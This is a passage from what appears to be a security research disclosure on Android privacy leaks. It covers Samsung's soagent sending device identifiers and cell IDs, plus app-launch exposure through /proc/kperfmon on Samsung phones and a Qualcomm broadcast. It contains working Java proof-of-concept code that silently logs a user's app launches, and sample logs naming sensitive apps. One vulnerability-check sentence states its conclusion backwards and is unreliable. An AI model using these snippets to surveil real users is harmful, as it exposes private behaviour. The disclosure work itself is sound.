The POST request for the "https://dir-apis.samsungdm.com/api/v1/device" URL occurs shortly (approximately ten minutes) after the device is powered on for the first time (or after a factory reset operation) and connected to a network. For versions of the "com.sec.android.soagent" app that are running a version that is "5.1.03" or higher (on devices running Android 10 and above), the "DEVICE_ADD_COMPLETE" key in the "DEVICE_PREFERENCE" shared preferences file gets set to a "boolean" value of "true" after the POST request for the "https://dir-apis.samsungdm.com/api/v1/device" URL is successfully made (i.e., receives a "200" HTTP status code). Once this value is set to "true", then the "com.sec.android.soagent" app will *not* send out the CID and LAC values in the PUT requests that are performed every 14 days for the

[21] In Appendix E, the Galaxy S8 device ("SM-G950F" model) has two SIM slots, resulting in two IMEI values being provided as the values to the "deviceID" and "secondDeviceID" JSON keys.
[22] In Appendix E, the Galaxy S8 device uses the "uniqueNumber" key for the device serial number.
[23] In Appendix E, the Galaxy Galaxy S8 device the "serialNumber" key contains the contents of the number "ril.serialnumber" system property value.
[24] It is unclear why the "mccByDevice" key contains "712" which represents Costa Rica while the "countryIso" element has a value of "GT" which represents Guatemala.
[25] https://opencellid.org/#zoom=18&lat=38.880921&lon=-77.114642

"`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL.

Versions of the "`com.sec.android.soagent`" app that are "`5.0.16`" or lower (at least to "`4.1.18`") and are not dependent on any shared preferences files and instead rely on an XML file with Country Specific Code (CSC) data to make the determination of whether or not to include cell identity data in the PUT request for the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" that occur every 14 days. A PUT request for the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL form the Samsung S8 device, with the "`4.1.18`" version of the "`com.sec.android.soagent`" app, is provided below, which shows the transmission of the CID and LAC values in the request body. The PUT request for the Samsung A25 device for the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL is provided in Appendix F, which lacks the CID and LAC values in the request body.

```
2024-05-25 19:02:51 PUT https://dir-apis.samsungdm.com/api/v1/device/heartbeat
                        ← 200 OK text/html [no content] 4ms

Content-Type:       application/json
Accept:             application/xml
Authorization:
consumer_id="CE11182B884EA00302",access_token="NTg3MjAzMjcyRGlS",signature="D8IDGP81VaOQVsKYWdzSaewT
B7NBUfoq1D9hRff
                    msFo=",auth_type="sha-256"
User-Agent:         Dalvik/2.1.0 (Linux; U; Android 8.0.0; SM-G950F Build/R16NW)
Host:               dir-apis.samsungdm.com
Connection:         Keep-Alive
Accept-Encoding:    gzip
Content-Length:     643

{
    "deviceVO": {
        "clientVersion": "4.1.18",
        "customerCode": "XSG",
        "deviceID": "IMEI:355258098663920",
        "deviceModelName": "SM-G950F",
        "deviceNetworkCellInfo": "11423490",
        "deviceNetworkLocationAreaInfo": "20247",
        "deviceNetworkType": "GSM",
        "eulaVersion": 2,
        "fingerPrint": "samsung/dreamltexx/dreamlte:8.0.0/R16NW/G950FXXS4CRLB:user/release-keys",
        "fwVersion": "G950FXXS4CRLB/G950FOXM4CRL1/G950FXXU4CRKB",
        "mccByDevice": "424",
        "mccByNetwork": "310",
        "mccBySIM": "310",
        "mncByNetwork": "260",
        "mncBySIM": "240",
        "networkBearer": "WIFI",
        "rooting": "N",
        "secType": "N",
        "secondDeviceID": "IMEI:355259098663928",
        "serialNumber": "RF8M10XL2HZ",
        "uniqueNumber": "CE11182B884EA00302"
    }
}
```

We determined the specific methods used by the "`com.sec.android.soagent`" app to determine the path to a file that contains CSC data for the Samsung Galaxy S8 device (e.g., "`/system/omc/XSG/cscfeature.xml`", "`/product/omc/TFV/conf/cscfeature.xml`", etc.). The Samsung Galaxy S8 device we tested has a CSC code of "`XSG`" which corresponds to the country of the United Arab Emirates. The CSC data usually has a path-prefix that starts with the value of the "`persist.sys.omc_path`" system property, although it depends on the version and the app, since there are many different paths that it will check sequentially until it finds the desired file. Once it finds the CSC XML file, if *any* of the following conditions are true, it will continue to send out the CID and LAC in the PUT requests for the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL that are performed every two weeks: (1) the "`CountryISO`" element has a value of "`CN`" or "`cn`", (2) the "`CscFeature_Common_EulaVersion`" element has a value that is "`1`" or greater, or (3) "`CscFeature_SetupWizard_DisablePrivacyPolicyAgreement`" element has a value of "`1`". These conditions only apply for versions of "`com.sec.android.soagent`" app that are "`5.0.16`" or lower (at least to "`4.1.18`"). The CSC file from the Galaxy S8 we examined, which has a file path of "`/system/omc/XSG/cscfeature.xml`", is provided in its entirety in Appendix G. Notably, the "`CscFeature_Common_EulaVersion`" key has a value of "`2`", which satisfies one of the three conditions.

A notable difference between the current version of the "`com.sec.android.soagent`" app from the Galaxy A25 device and the older version of the "`com.sec.android.soagent`" app from the Galaxy S8 device is that the current version of the app uses the "`jobscheduler`" system service to schedule various jobs, such as the "`com.sec.android.soagent/.service.HeartBeatJobService`" service app component. This component makes the PUT requests for the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL (or "`https://dir-apis.samsung.com.cn/api/v1/device/heartbeat`" URL in certain circumstances).[26] The currently scheduled jobs can be observed using the "`adb shell dumpsys jobscheduler`" ADB command, and Appendix H shows the "`com.sec.android.soagent/.service.HeartBeatJobService`" service app component can run at the earliest is "`+13d23h49m51s1ms`", which is slightly less than 14 days. A reboot of the device will reset the timer to 14 days. Appendix H also shows the job for the "`com.sec.android.soagent/.service.AddJobService`" service component, which makes the "`https://dir-apis.samsungdm.com/api/v1/device`" POST request, and is eligible to run approximately four minutes from the time of observation. The "`com.sec.android.soagent/.service.AddJobService`" service component job has a short delay interval and only requires a network connection. The "`TIMING_DELAY`" constraint is easy to satisfy by changing the system clock (or simply letting the requisite amount of time pass), and the "`CONNECTIVITY`" is normally easy to satisfy, requiring the device to have an active network connection.

Based on dynamic testing, several device identifiers (i.e., IMEI value(s), device serial number, secondary device serial number) and cell identity information are sent in a POST request for "`https://dir-apis.samsungdm.com/api/v1/device`" from all versions of the "`com.sec.android.soagent`" app we tested. In addition to this network request, a PUT request for the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL occurring every 14 days is initiated by Samsung devices with the "`com.sec.android.soagent`" pre-installed app. If the app has a version of "`5.0.16`" or lower (at least to "`4.1.18`"), then it can also send out the cell tower identity with enough information to obtain an estimation of the device's physical location, depending on the device's CSC XML values.

[5.5] Requirements for Transmitting PII to China

The two different hard-coded URL prefixes used for transmitting PII in the recent versions of the "`com.sec.android.soagent`" app are "`https://dir-apis.samsungdm.com`" and "`https://dir-apis.samsung.com.cn`". The older version of the "`com.sec.android.soagent`" app (`versionCode='411801000', versionName='4.1.18'`) from the Galaxy S8 device does not have a reference to the "`dir-apis.samsung.com.cn`" domain in its app code, although it is contained in more recent versions of the "`com.sec.android.soagent`" app, such as the version from the Galaxy A25 device (e.g., `versionCode='730501000', versionName='7.3.05'`).

Ultimately, which of the two domains ("`dir-apis.samsungdm.com`" or "`dir-apis.samsung.com.cn`") will be selected as the network endpoint for PII transmissions is determined by the following conditions. The "`https://dir-apis.samsung.com.cn`" URL prefix will be used (instead of the "`https://dir-apis.samsungdm.com`" alternate) when *any* of the following conditions are satisfied:

[26] The older version of the "`com.sec.android.soagent`" app uses the "`alarm`" system service for scheduling.

Condition 1: The "`java.lang.String android.telephony.TelephonyManager.getNetworkOperator()`" API return value (which returns the MCC-MNC of operator network) has an MCC value of "`460`", which corresponds to the country of China.

Condition 2: The "`java.lang.String android.telephony.TelephonyManager.getNetworkOperator()`" API returns an empty string or a null value and the first three characters of the "`gsm.operator.numeric`" system property are "`460`" (i.e., China's MCC). *This condition is generally equivalent to the first condition, where it is getting the same data using two different approaches.*

Condition 3: The "`java.lang.String android.telephony.TelephonyManager.getNetworkOperator()`" API returns an empty string or a null value and the "`gsm.operator.numeric`" system property contains an empty string. In addition, there must be an active SIM card inserted into the device and the "`java.lang.String android.telephony.TelephonyManager.getSimOperator()`" API returns a value where the first three characters are "`460`" (i.e., China's MCC).

Condition 4: The "`java.lang.String android.telephony.TelephonyManager.getNetworkOperator()`" API returns an empty string or a null value, the "`gsm.operator.numeric`" system property contains an empty string, and the "`java.lang.String android.telephony.TelephonyManager.getSimOperator()`" API returns a value that is an empty string, null value, or the string has less than 4 characters. In addition, the value of the "`persist.sys.omc_path`" system property value with a string of "`/cusomter.xml`" appended to it (e.g., "`/optics/configs/carriers/ATT/conf/customer.xml`") has an "`MCCMNC`" tag value that starts with "`460`" and does not start with "`001`" and "`999`". In effect, that condition will be satisfied when the first "`MCCMNC`" tag from the XML file contains a value of "`460`" while ignoring all values that have the first three characters as "`001`"or "`999`".

Condition 5: The "`java.lang.String android.telephony.TelephonyManager.getNetworkOperator()`" API returns an empty string or a null value and the "`gsm.operator.numeric`" system property contains an empty string, the "`java.lang.String android.telephony.TelephonyManager.getSimOperator()`" API returns a value that is an empty string, null, or the string has less than 4 characters, and the the value of the "`persist.sys.omc_path`" system property value with a string of "`/cusomter.xml`" appended to it either does not exist or does not have its first "`MCCMNC`" tag value starting with "`460`" while ignoring those that start with "`001`" and "`999`". Then, it requires that the "`ro.csc.countryiso_code`" system property key contain a value of "`CN`".

[5.6] Usage of Identifier Renaming Obfuscation

The recent version of the "`com.sec.android.soagent`" app (`versionCode='730501000', versionName='7.3.05'`) and the older version (`versionCode='411801000', versionName='4.1.18'`) both use identifier renaming obfuscation to strip the meaning from the names used for classes, fields, and methods, although it is not uniformly applied amongst the entire codebase of the app. The obfuscation in the app appears to be entirely based on replacing the presumably-descriptive names with a mix of uppercase letter "`I`" and lowercase letter "`l`", which are quite similar in appearance. The "`smali`" representation for the "`java.lang.Object lllIllIIIIIllllIIllI.llIlIllllllllllllllI(int)`" method, from the "`com.sec.android.soagent`" app (`versionCode='730501000', versionName='7.3.05'`) produced by the using "`baksmali`" on the app's Dalvik bytecode is provided below.[27]

```
.method public llIlIllllllllllllllI(I)Ljava/lang/Object;
    .locals 1

    .line 1
    iget-boolean v0, p0, LlllIllIIIIIllllIIllI;->llIIIIlllllIIllIIllI:Z

    .line 2
```

[27] https://github.com/JesusFreke/smali

```
    .line 3
    if-eqz v0, :cond_0

    .line 4
    .line 5
    invoke-virtual {p0}, LlllIllIIIIIllllIIllI;->llllIIIllIlIIIIlllllI()V

    .line 6
    .line 7
    .line 8
    :cond_0
    iget-object p0, p0, LlllIllIIIIIllllIIllI;->lllIlIlIIIIllIIlIllIl:[Ljava/lang/Object;

    .line 9
    .line 10
    aget-object p0, p0, p1

    .line 11
    .line 12
    return-object p0
.end method
```

The Java equivalent for the "`java.lang.Object lllIllIIIIIllllIIllI.llIlIllllllllllllllI(int)`" method, produced using "`jadx`", is provided below.[28]

```java
public Object llIlIllllllllllllllI(int i) {
    if (this.llIIIIllllllIIllIIllI) {
        llllIIIllIlIIIIlllllI();
    }
    return this.lllIlIlIIIIllIIlIllIl[i];
}
```

[5.7] Intercepting Network Requests

We created a Python script plugin for "`mitmproxy`" that we used for both devices to ensure that certain network requests made by the "`com.sec.android.soagent`" app did not leave the local network, ensuring that PUT requests for the "`https://dir-apis.samsungdm.com/api/v1/device/heartbeat`" URL were not received by Samsung at a more aggressive rate than what is dictated by the "`com.sec.android.soagent`" app's own logic when we forcing jobs and modifying the system clock. The Python script plugin we used intercepted the PUT requests and responded with an empty HTTP response body and an HTTP 200 status code. The script is provided in Appendix I.

[6.0] Samsung Local App Usage Exposure

We discovered that various Samsung smartphones, since Android 10 up until Android 14, have provided unrestricted read access to the "`/proc/kperfmon`" virtual file to co-located third-party apps. The "`/proc/kperfmon`" virtual file contains miscellaneous profiling data, including the package name and fully-qualified launcher activity component name of each app that comes into the foreground. This includes the apps that the user starts themselves and those which are started by the system itself. This enables local actors, including third-party apps, to longitudinally observe all apps that the user interacts with at all times on Samsung smartphones, and it does not require any user interaction beyond installing an app and running it once.

Constantly examining the package name of each app that comes into the foreground over time incrementally reveals a subset of the user's installed apps and when they are started, which may be used to profile the user as well as establish pattern-of-life. This vulnerability impacts Samsung devices running Android 10 up until the current major version (i.e.,

[28] https://github.com/skylot/jadx

Android 14). The "/proc/kperfmon" virtual file can be accessed by local processes since there are no access control measures that restrict read access to the virtual file.

[6.1] Samsung "/proc/kperfmon" Vulnerability Description

The local information disclosure vulnerability manifests due to a lack of access control for the read operation on the "/proc/kperfmon" virtual file that exposes various app usage information to local processes. Notably, the virtual file is globally readable due to its file permissions (i.e., "rw-rw-r--"), and SELinux does not restrict third-party apps from reading the virtual file, which has an SELinux context of "u:object_r:proc_perf:s0". The "kperfmon" kernel module is responsible for creating the "/proc/kperfmon" virtual file. The official kernel source code for the SM-S906B model (i.e., Samsung Galaxy S22+), downloaded on May 4, 2024, shows that the in the "kperfmon" kernel module, the "proc_create" function is invoked to create the "/proc/kperfmon" virtual file with file permissions of "0664", making it globally readable.[29] In addition, non-official source code listing for the "kperfmon" kernel module is available, which shows the "/proc/kperfmon" virtual file with file permissions of "0664" being created.[30]

A malicious third-party app can use a foreground service to persistently execute in the background and record the package names of all apps the user interacts with. The log in the "/proc/kperfmon" virtual file contains timestamps for the events. The "/proc/kperfmon" virtual file contains various tags in the log messages where the app launches are denoted by log tags of "[LOG][APPLAUNCH]". Some concrete output produced by reading from the "/proc/kperfmon" virtual file and filtering on the "[LOG][APPLAUNCH]" tags is provided below. The package name and fully-qualified launcher activity component name is highlighted in red text. The default system launcher, "com.sec.android.app.launcher/.activities.LauncherActivity", generally appears in between each app launch, although we have removed the log messages below for conciseness.

```
[02-14 13:29:38.789 1  2366     0 (141)][LOG][APPLAUNCH]
[com.ashleymadison.mobile],com.almlabs.ashleymadison.xgen.ui.splash.SplashActivity,SPLASH_SCREEN(1),50,45,-1,607,WARM(8),sp
eed-profile(8) [S]
[02-14 13:29:40.482 1  2366     0 (148)][LOG][APPLAUNCH]
[cougar.dating.mature.sugar.older.women],dating.hookup.adult.view.activity.SplashActivity,SPLASH_SCREEN(1),45,40,-1,121,WAR
M(8),speed-profile(8) [S]
[02-14 13:29:43.126 1  2366     0 (127)][LOG][APPLAUNCH]
[com.grindrapp.android],com.grindrapp.android.ui.login.LoginActivity,SPLASH_SCREEN(1),88,77,-1,495,WARM(8),speed-profile(8)
[S]
[02-14 13:29:47.848 1  2366     0 (143)][LOG][APPLAUNCH]
[uk.org.suicideprevention.stayalive],uk.org.suicideprevention.stayalive.MainActivity,SPLASH_SCREEN(1),68,61,81,308,COLD(7),
speed-profile(8) [S]
[02-14 13:29:51.599 1  2366     0 (136)][LOG][APPLAUNCH]
[com.aramco.AramcoLIFE],dk.akqa.saudiaramco.ui.activities.VideoLoaderActivity,SPLASH_SCREEN(1),48,44,-1,265,WARM(8),speed-p
rofile(8) [S]
[02-14 13:29:55.004 1  2366     0 (144)][LOG][APPLAUNCH]
[com.tomsmucenieks.asimplevibrator],com.tomsmucenieks.asimplevibrator.IntroActivity,SPLASH_SCREEN(1),120,114,-1,155,WARM(8)
,speed-profile(8) [S]
[02-14 13:29:57.928 1  2366     0 (130)][LOG][APPLAUNCH]
[org.thoughtcrime.securesms],org.thoughtcrime.securesms.RoutingActivity,SPLASH_SCREEN(1),64,61,-1,230,WARM(8),speed-profile
(8) [S]
[02-14 13:30:06.578 1  2366     0 (159)][LOG][APPLAUNCH]
[com.google.android.apps.authenticator2],com.google.android.apps.authenticator.AuthenticatorActivity,SPLASH_SCREEN(1),70,59
,-1,374,WARM(8),speed-profile(8) [S]
[02-14 13:30:08.048 1  2366     0 (126)][LOG][APPLAUNCH]
[com.schwab.mobile],com.schwab.mobile.auth.presentation.AuthActivity,WINDOWS_DRAWN(2),26,21,-1,670,HOT(9),speed-profile(8)
[S]
```

The following code snippet, which can be added to the "code_goes_here" method in Appendix A, reads from the "/proc/kperfmon" virtual file approximately every five seconds, filters out all log messages except those with the "[LOG][APPLAUNCH]" and "[LOG][CPUTOP]" tags, and then writes these log messages to the system log with a log tag of "kperfmon". The log messages emitted by the app can be viewed by executing the following ADB command: "adb logcat kperfmon:V -s".

[29] https://opensource.samsung.com/uploadList?menuItem=mobile
[30] https://github.com/geiti94/android_kernel_samsung_universal990/blob/master/drivers/kperfmon/kperfmon.c

```
new Thread() {
   @Override
   public void run() {
       while (true) {
           try {
               BufferedReader bufferedReader = new BufferedReader(new FileReader("/proc/kperfmon"));
               String line = null;
               while ((line = bufferedReader.readLine()) != null) {
                   if (line.contains("[LOG][APPLAUNCH]") || line.contains("[LOG][CPUTOP]"))
                       Log.i("kperfmon", "line=" + line);
               }
           } catch (FileNotFoundException e) {
               Log.i("kperfmon", "FileNotFoundException", e);
           } catch (IOException e) {
               Log.i("kperfmon", "IOException", e);
           }
           try { Thread.sleep(5000); } catch (InterruptedException e) {
               Log.i("kperfmon", "InterruptedException", e);
           }
       }
   }
}.start();
```

There is also other information that may be of interest to an attacker. The "`[LOG][CPUTOP]`" tags note processes that have the highest CPU usage. These processes can be background apps that are performing CPU-intensive tasks via a foreground service. Therefore, even if the user is not using an app directly, its package name can still be revealed in these log messages if it is doing CPU-intensive tasks in the background. This can reveal additional installed apps despite the user not actively or directly using them.

```
[02-13 17:47:56.454 1  8204     0 (121)][LOG][CPUTOP] [system_server=1.61%] [surfaceflinger=0.85%]
[com.android.systemui=0.53%] [com.snapchat.android=0.48%] [com.Slack=0.41%]
[02-13 17:49:38.319 1  8204     0 (143)][LOG][CPUTOP] [system_server=2.88%] [com.android.systemui=2.03%]
[surfaceflinger=1.99%] [android.system.suspend-service=1.01%] [com.google.android.gm=0.63%]
[02-13 17:51:55.870 1  8204     0 (148)][LOG][CPUTOP] [system_server=2.89%] [surfaceflinger=2.72%]
[com.android.systemui=2.29%] [org.thoughtcrime.securesms=1.39%] [com.samsung.android.honeyboard=1.13%]
[02-13 17:55:01.291 1  8204     0 (174)][LOG][CPUTOP] [system_server=2.35%] [surfaceflinger=2.07%]
[com.samsung.android.honeyboard=1.32%] [com.google.android.googlequicksearchbox:search=1.00%]
[org.thoughtcrime.securesms=0.73%]
[02-13 18:01:18.656 1  8204     0 (148)][LOG][CPUTOP] [system_server=2.44%] [surfaceflinger=1.73%]
[com.android.systemui=1.22%] [android.system.suspend-service=1.14%] [org.thoughtcrime.securesms=0.76%]
```

Some of this information may allow an attacker to infer details about the state of the system and the user's actions on the device. Some of this information, which may be able to be obtained from other sources as well, for example, includes: the user examining notifications, the screen turning on/off, information related to the heap of the "`system_server`" process, taking a screenshot, etc.

```
[02-13 07:38:17.423 2  1764     0 (230)][EVT][LOCKCONTENTION]
binder:1764_18/593/AccountManagerService.java/2796/not_owner_boolean
com.android.server.accounts.AccountManagerService.saveAuthTokenToDatabase(com.android.server.accounts.AccountManagerService
$UserAccounts, android.accounts.Accoun
[02-13 18:10:00.958 0  1655  3494 (149)][DEF][UNKNOWN]
"AMPSS_AVG_VALUES":"[582,551,552]","AMPSS_MAX_PROCS":"[com.tinder,com.android.chrome:sandboxed_process0:o,system]","AMPSS_M
AX_VALUES":"[649,561,552]"
[02-13 18:20:52.441 1  1764     0 ( 71)][LOG][SYSTEMSERVER] Sync:      13500    heap:    131      /        136      FD:
         1246     WaitTime:         0.000     GCcnt:    FullGC:  0
[02-13 18:21:05.953 1  1655  1667 ( 65)][LOG][JANK] CUJ=J<NOTIFICATION_SHADE_EXPAND_COLLAPSE::Collapse>/31/0/0/0/16/0
[02-13 18:21:42.963 1  1655  1667 ( 65)][LOG][JANK] CUJ=J<NOTIFICATION_SHADE_EXPAND_COLLAPSE::Collapse>/31/1/0/1/16/1
[02-13 18:21:53.965 1  1655  1667 ( 58)][LOG][JANK] CUJ=J<NOTIFICATION_SHADE_QS_EXPAND_COLLAPSE>/18/2/1/2/14/1
[02-13 18:23:29.008 1  1655  1667 ( 51)][LOG][JANK] CUJ=J<NOTIFICATION_SHADE_ROW_EXPAND>/166/1/0/1/18/1
[02-13 18:24:26.023 1  1655  1667 ( 52)][LOG][JANK] CUJ=J<LOCKSCREEN_TRANSITION_FROM_AOD>/13/2/2/3/178/2
[02-13 18:24:27.350 1  1764     0 (  3)][LOG][LCDV] OFF
[02-13 18:24:28.324 1  1764     0 (  2)][LOG][LCDV] ON
[02-14 13:54:10.004 1 25914     0 (117)][LOG][JANK]
CUJ=J<SETTINGS_PAGE_SCROLL::com.samsung.android.settings.deviceinfo.aboutphone.SecMyDeviceInfoFragment>/58/1/0/1/21/1
[02-14 16:21:59.963 2  1764     0 ( 14)][EVT][SCREENSHOT] TakeScreenshot
[02-14 16:22:10.786 2  1764     0 ( 58)][EVT][AMPSS] pid=31284, pss=530329, GL mtrack=76364, process=com.tinder
```

[6.2] Impacted Samsung Devices

We examined several Samsung smartphones to get an estimate of the breadth of impacted devices. The "`/proc/kperfmon`" virtual file appears to have been introduced in Android 10. It appears that this file is present in Android 10 up until the current Android 14 version. In Table 3, the "*Build Fingerprint*" column corresponds to the "`ro.build.fingerprint`" system property and the "*Build Date*" column corresponds to the "`ro.build.date`" system property.

Samsung Model	Build Fingerprint	Build Date
Galaxy S22 Ultra	`samsung/b0quew/b0q:14/UP1A.231005.007/S908U1UES4DXD1:user/release-keys`	`Mon Apr  1 17:33:33 KST 2024`
Galaxy S21 Ultra 5G	`samsung/p3quew/p3q:14/UP1A.231005.007/G998U1UESAFXD1:user/release-keys`	`Mon Apr  1 18:21:57 KST 2024`
Galaxy A25	`samsung/a25xdxx/a25x:14/UP1A.231005.007/A256EXXS2AXCC:user/release-keys`	`Wed Apr 10 06:13:45 KST 2024`
Galaxy Z Fold5	`samsung/q5qsqw/q5q:13/TP1A.220624.014/F946USQU1AWG4:user/release-keys`	`Fri Jul  7 11:21:08 KST 2023`
Galaxy S10+	`samsung/beyond2ltexx/beyond2:10/QP1A.190711.020/G975FXXS9DTK9:user/release-keys`	`Fri Nov 13 12:14:56 KST 2020`

Table 3. List of Samsung devices that contain the "`/proc/kperfmon`" virtual file.

There were a few Samsung devices that did not contain the the "`/proc/kperfmon`" virtual file. These devices had Unisoc (i.e. Galaxy A3 Core) and MediaTek system on a chip (SoC) components (i.e., Galaxy A03s).

[6.3] Checking if Your Device is Vulnerable

To definitively determine if your own device is vulnerable, you should execute the source code provided in Section 6.1 and see if meaningful log messages start appearing after executing the "`adb logcat kperfmon:V -s`" ADB command. If the "`adb shell cat /proc/kperfmon`" ADB command returns anything other than a message about no such file existing, then your device is not vulnerable.

[7.0] Qualcomm Local App Usage Exposure

Qualcomm was the second largest SoC manufacturer in the last quarter of 2023 with a 23% global market share for smartphones.[31] Qualcomm provides various pre-installed apps that vendors may include in their production software build. We discovered that a Qualcomm-authored, pre-installed app with a package name of "`com.qualcomm.qti.workloadclassifier`" broadcasts the package name for each app the users starts (provided it is not already executing in the background) in an implicit broadcast Intent message (i.e., one without a concrete destination app). Vulnerabilities discovered in SoC vendor code are particularly impactful as it can impact a wide range of vendors.

This Qualcomm vulnerability impacted Android devices containing the pre-installed app with a package name of "`com.qualcomm.qti.workloadclassifier`" and running Android versions 12 through 14. The package name for each user-started app is sent in an implicit broadcast Intent, which does not have an explicit destination app component or package, with an action of "`com.qualcomm.qti.workloadclassifier.APP_LAUNCH`" and can be received by any app that registers for it, as there are no permission requirements to receive it.

[7.1] Qualcomm Workload Classifier Vulnerability Description

[31] https://www.counterpointresearch.com/insights/global-smartphone-ap-market-share/

The "com.qualcomm.qti.workloadclassifier" pre-installed app is automatically granted the following permissions without requiring any user interaction: "android.permission.PACKAGE_USAGE_STATS", "android.permission.QUERY_ALL_PACKAGES", and "android.permission.RECEIVE_BOOT_COMPLETED". These permissions allow the "com.qualcomm.qti.workloadclassifier" app to start at system startup, obtain device usage statistics, and enumerate the list of apps installed on the device. The default behavior of the "com.qualcomm.qti.workloadclassifier" app, when its version code is 31 (Android 12) and higher, is to send an implicit broadcast Intent with an action of "com.qualcomm.qti.workloadclassifier.APP_LAUNCH", where the Intent has an a string extra named "PKG_NAME" and its corresponding value is the package name of the app that the user starts by clicking on its app icon in the launcher. There are no permission requirements to receive broadcast Intents with an action of "com.qualcomm.qti.workloadclassifier.APP_LAUNCH". Since the data is sent an implicit Intent, it can be received by any app that registers for the "com.qualcomm.qti.workloadclassifier.APP_LAUNCH" action. The package name for each user-started app will only broadcast if that app is not already running, either from having already been started by the user or if it is already executing in the background.

The following code snippet can be added to the "code_goes_here" method in Appendix A so that it can execute persistently. The PoC app receives implicit broadcast Intents with an action of "com.qualcomm.qti.workloadclassifier.APP_LAUNCH" that are sent by the "com.qualcomm.qti.workloadclassifier" app. The PoC app extracts the package name of the started app from the "PKG_NAME" Intent string extra and writes it to the system log with a log tag of "qworkload". The log messages emitted by the PoC app can be viewed by executing the following ADB command: "adb logcat qworkload:V -s".

```java
registerReceiver(new BroadcastReceiver() {
   @Override
   public void onReceive(Context context, Intent intent) {
       if (intent == null) {
           Log.d("qworkload", "intent received");
           return;
       }
       if ("com.qualcomm.qti.workloadclassifier.APP_LAUNCH".equals(intent.getAction()))
           Log.d("qworkload", "started_package_name=" + intent.getStringExtra("PKG_NAME"));
   }
}, new IntentFilter("com.qualcomm.qti.workloadclassifier.APP_LAUNCH"));
Log.d("qworkload", "registered receiver for com.qualcomm.qti.workloadclassifier.APP_LAUNCH");
```

Some concrete log messages from the Nokia G50 Android device running Android 13 with a build fingerprint of "Nokia/Punisher_00WW/PHR_sprout:13/TKQ1.220807.001/00WW_3_33A:user/release-keys" (and a build date of "Tue Dec 19 16:03:06 UTC 2023") are provided below. Note that the package name of the app will not appear if the app is already executing in the background. If the running app has an activity component, it can be swiped away in the recent apps list which will terminate the app, and the user can quickly start it again by clicking on its app icon to make its package name appear in the log. The "adb shell ps -ef | grep <package name>" ADB command can be used to determine if an app is currently executing.

```
D qworkload: started_package_name=com.ashleymadison.mobile
D qworkload: started_package_name=cougar.dating.mature.sugar.older.women
D qworkload: started_package_name=com.instagram.android
D qworkload: started_package_name=jackpal.androidterm
D qworkload: started_package_name=com.facebook.katana
D qworkload: started_package_name=com.google.android.apps.safetyhub
D qworkload: started_package_name=com.google.android.contacts
D qworkload: started_package_name=com.netflix.mediaclient
D qworkload: started_package_name=com.google.android.gm
```

[7.2] Impacted "com.qualcomm.qti.workloadclassifier" App Versions

The vulnerable "com.qualcomm.qti.workloadclassifier" app is pre-installed on various Android devices with Qualcomm SoCs. We examined multiple versions of the "com.qualcomm.qti.workloadclassifier" app for recent major Android releases (Android 10 to Android 14). For each major Android version, Table 4 provides whether or not the specific app contains the information disclosure vulnerability, the version code, version name, and the SHA-256 message digest of the APK file. We were able to dynamically confirm the existence of the vulnerability in the "`com.qualcomm.qti.workloadclassifier`" app on Android devices running Android versions 12, 13, and 14. Note that version codes 31 and 32 represent Android versions 12 and 12L, respectively, despite both having a version name of 12 in Table 4. We did not have access to an Android device running Android 12L, so it is marked as "Yes*" for its vulnerability status in Table 4, which was based on statically examining the app code.

Vulnerable	Version Code	Version Name	SHA-256 Message Digest
Yes	34	14	`1073361ce49c363e2999b9797366f156c816aa56131eb8d56691cdb0bc84074d`
Yes	33	13	`3167904ef9311b6e7de051d6229bd96de071679fe0e912295eff658819fcb609`
Yes*	32	12	`f164d971efa2da5abdb289410592397c372bf94ae8a5a490d09a69382cc2b763`
Yes	31	12	`d19d395a457f9a9e8ed619fae5820c0012837d5dfba32d523fef96378b6519c3`
No	30	11	`c6b685f95f9827ed6a0d3f39d8d3f87111a2c18f32feeea9857304ce8338f2a0`
No	29	10	`01dd36a463420dc0287299013941e36d8aaaed8a2d41894bb32fff336aea4d6d`

Table 4. Status of the "`com.qualcomm.qti.workloadclassifier`" app across recent Android versions.

[7.3] Devices Impacted by the "`com.qualcomm.qti.workloadclassifier`" App

The vulnerable "`com.qualcomm.qti.workloadclassifier`" app is pre-installed on various Android devices with Qualcomm SoCs. The presence of the "`com.qualcomm.qti.workloadclassifier`" app may be tied to specific Qualcomm SoCs that Android devices use, although it may also be at the discretion of the Android vendor as to which Qualcomm apps to include as in a software build. Table 5 contains the Android devices and their corresponding Qualcomm chipsets that have the vulnerable "`com.qualcomm.qti.workloadclassifier`" app pre-installed.

Device	Android Major Version	Chipset
OnePlus 8T	14	Qualcomm SM8250 Snapdragon 865 5G (7 nm+)
Nokia G50	13	Qualcomm SM4350 Snapdragon 480 5G (8 nm)
ZTE Axon 40 Ultra	12	Qualcomm SM8450 Snapdragon 8 Gen 1 (4 nm)

Table 5. Android devices that have the "`com.qualcomm.qti.workloadclassifier`" pre-installed app.

[7.4] Checking if Your Device is Vulnerable

To definitively determine if your own device is vulnerable, you should execute the source code provided in Section 7.1 to see if log messages start appearing after executing the "`adb logcat qworkload:V -s`" ADB command. If the "`adb shell pm path com.qualcomm.qti.workloadclassifier`" ADB command does not yield any output, then your device does not have an app with a package name of "`com.qualcomm.qti.workloadclassifier`" installed and is not vulnerable.

[8.0] Nokia Local App Usage Exposure

Certain Nokia Android devices contain a vulnerability that allows co-located apps to access information about apps the user starts (when they are not already executing in the background) due to an exported content provider that exhibits no access control when the user has joined the device's "*User Experience Program*". The option to join the "User Experience Program" is presented to the user during the initial setup process the first time the device has been turned on (or right after a factory reset operation). When the screen about the "User Experience Program" is presented to the user, the user's participation is disabled by default, although the user can still press the "Accept all" button to accept their participation even when the option is not enabled. As a result, the user will have to explicitly enable this option and click the "Accept select" button or click the "Accept all" button to opt into the "User Experience Program". Less privacy-conscious users may quickly click through the Setup Wizard app, which performs the initial device setup, and enable the option without understanding the consequences of their participation. More discerning users, however, may take the time to read the privacy policy prior to agreeing to participate. If the user clicks on the option to enable their participation in the "User Experience Program", then this action sets the "`persist.sys.setupwizard.join_user_experience_program`" system property to a value of "`true`".

